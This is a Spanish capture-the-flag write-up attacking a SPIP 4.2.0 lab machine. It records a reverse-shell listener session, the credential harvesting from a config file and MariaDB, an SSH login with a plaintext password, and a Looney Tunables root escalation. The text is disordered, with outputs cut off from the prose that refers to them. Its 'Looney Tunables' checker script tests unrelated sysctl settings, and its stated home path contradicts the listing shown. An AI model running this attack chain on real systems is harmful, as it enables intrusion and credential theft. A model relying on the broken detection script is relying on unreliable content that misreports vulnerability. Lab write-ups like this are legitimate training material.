Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 03:21 EDT
Nmap scan report for 192.168.5.58
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c0:f6:a1:6a:53:72:be:8d:c2:34:11:e7:e4:9c:94:75 (ECDSA)
|_ 256 32:1c:f5:df:16:c7:c1:99:2c:d6:26:93:5a:43:57:59 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-generator: SPIP 4.2.0
|_http-title: Mi sitio SPIP
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:9F:B1:96 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds
Veremos que tendremos un puerto 80 en el que aloja una pagina web, si entramos dentro de la misma veremos una pagina web normal con el software llamado spip, por lo que vamos a realizar un poco de fuzzing empezando con ver la tecnologia web que lleva por detras y que versiones tiene la misma.
Whatweb
Info:
Por lo que vemos en esta linea...
Dicho software esta utilizando la version 4.2.0, vamos a investigar si dicha version es vulnerable a algo.
Escalate user www-data
Si buscamos bien veremos que si lo es, justamente en ExploitDB veremos un exploit asociado a dicha vulnerabilidad en la que se puede realizar un RCE de forma no autenticada, por lo que vamos a utilizarlo.
Una vez que nos lo hayamos descargado el archivo, vamos a utilizarlo de la siguiente forma:
Antes de enviarlo nos pondremos a al escucha de esta forma:
Ahora si lo enviamos y volvemos a donde tenemos la escucha, veremos lo siguiente:
Veremos que ha funcioando, por lo que sanitizaremos la shell.
Sanitización de shell (TTY)
Escalate user
Si nos vamos a la home del usuario www-data que es /usr/www/ podremos ver los siguiente archivos:
Esto suele ser muy poco comun, vamos a ver el .bash_history a ver que contiene:
Vemos que ha realizado una conexion a mysql, pero antes a leido un archivo que contiene la carpeta /html por lo que vamos a leerlo:
Info:
Vemos bastantes cosas interesantes, entre ellas las credenciales para conectarnos por mysql por lo que haremos lo siguiente:
Info:
Con esto ya estaremos dentro, por lo que vamos a investigar un poco.
Info:
Vamos a seleccionar la llamada spip que es la que no viene por defecto.
Info:
De todas estas tablas la que mas nos interesa es la llamada spip_auteurs que es como la que contiene los usuarios, por lo que vamos a ver dicha informacion de la misma.
Info:
Veremos bastantes usuarios en ella, pero el usuario que mas nos interesa es el llamado angela ya que es el unico usuario que tiene la contraseña en texto plano y que esta en el sistema.
Vamos a conectarnos por SSH para obtener una shell mas limpia.
SSH
Metemos como contraseña 4ng3l4 y veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si investigamos tenemos con permisos SUID el siguiente binario:
Con esto podremos ser root directamente ya que tiene una vulnerabilidad en la que se puede ejecutar una shell directamente como root, pero vamos hacerlo como el creador lo ha creado.
Si investigamos un poco, veremos que el kernel tiene la siguiente version.
Info:
Vemos que es una version de kernel un poco baja, por lo que pude ser vulnerable a explotaciones dentro del mismo, vamos a probar con un exploit bastante conocido para esto.
Si vemos en esa pagina, veremos que el rango de versiones vulnerables esta dentro la nuestra, por lo que vamos a probarlo.
Pero sin suerte, no va a funcionar, investigando mucho y mirando otros writeups vi que es vulnerable a lo que se le llama Looney Tunables por lo que vamos a ver si es o no realmente vulnerable con un script.
scann_Looney_Tunables.sh
Ahora lo ejecutaremos de esta forma:
Info:
Veremos que efectivamente es vulnerable, por lo que vamos a descargarnos un exploit para aprovechar esto mismo.
En este GitHub podremos ver que hay otra forma de comprobar si es vulnerable o no a este exploit y es ejecutando el siguiente comando:
Info:
Por lo que vemos si lo es, ya que nos esta diciendo que se salio de la memoria dicha informacion y esto se debe a que se puede realizar un Buffer Overflow para obtener privilegios de root.
Vamos a descargarnos el repositorio, ya que la maquina victima tiene git.
Una vez echo esto, vamos a ejecutar lo siguiente de esta forma ordenada.
Y ahora vamos a ejecutar dicho binario.
Info:
Como veremos ha funcionado, esto puede tardar un buen rato, ya que va probando realizando varios intentos, pero al final acabamos obteniendo la shell como el usuario root, por lo que leeremos la flag de root.
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.58] 43634
bash: cannot set terminal process group (840): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pipy:/var/www/html$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
total 20
drwxr-xr-x 4 www-data www-data 4096 Oct 5 2023 .
drwxr-xr-x 14 root root 4096 Oct 2 2023 ..
-rw------- 1 www-data www-data 130 Oct 5 2023 .bash_history
drwxrwxrwx 3 www-data www-data 4096 Oct 5 2023 .local
drwxr-xr-x 11 www-data www-data 4096 Oct 4 2023 html
whoami
exit
exit
reset xterm
export TERM=xterm-256color
stty rows 51 cols 197
ls
nano
ls
cat config/connect.php
mysql -u root -p
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 64
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| spip |
| sys |
+--------------------+
5 rows in set (0.049 sec)
#!/bin/bash
declare -A checks=(
[kernel.dmesg_restrict]=1
[kernel.yama.ptrace_scope]=1
[fs.suid_dumpable]=0
[kernel.unprivileged_bpf_disabled]=1
[net.ipv4.conf.all.accept_redirects]=0
[net.ipv4.conf.all.send_redirects]=0
[net.ipv4.conf.all.accept_source_route]=0
)
vulnerable=0
for param in "${!checks[@]}"; do
current=$(sysctl -n $param 2>/dev/null)
if [ "$current" != "${checks[$param]}" ]; then
echo "⚠️ $param = $current (Inseguro, debería ser ${checks[$param]})"
vulnerable=1
else
echo "✅ $param = $current (Seguro)"
fi
done
if [ $vulnerable -eq 1 ]; then
echo -e "\n⚠️ Tu sistema tiene configuraciones inseguras (Looney Tunables vulnerables)."
else
echo -e "\n✅ Tu sistema está configurado de forma segura para estos parámetros."
fi
bash scann_Looney_Tunables.sh
⚠ net.ipv4.conf.all.accept_redirects = 1 (Inseguro, debería ser 0)
✅ kernel.dmesg_restrict = 1 (Seguro)
✅ kernel.yama.ptrace_scope = 1 (Seguro)
⚠ kernel.unprivileged_bpf_disabled = 2 (Inseguro, debería ser 1)
⚠ fs.suid_dumpable = 2 (Inseguro, debería ser 0)
✅ net.ipv4.conf.all.accept_source_route = 0 (Seguro)
⚠ net.ipv4.conf.all.send_redirects = 1 (Inseguro, debería ser 0)
⚠ Tu sistema tiene configuraciones inseguras (Looney Tunables vulnerables).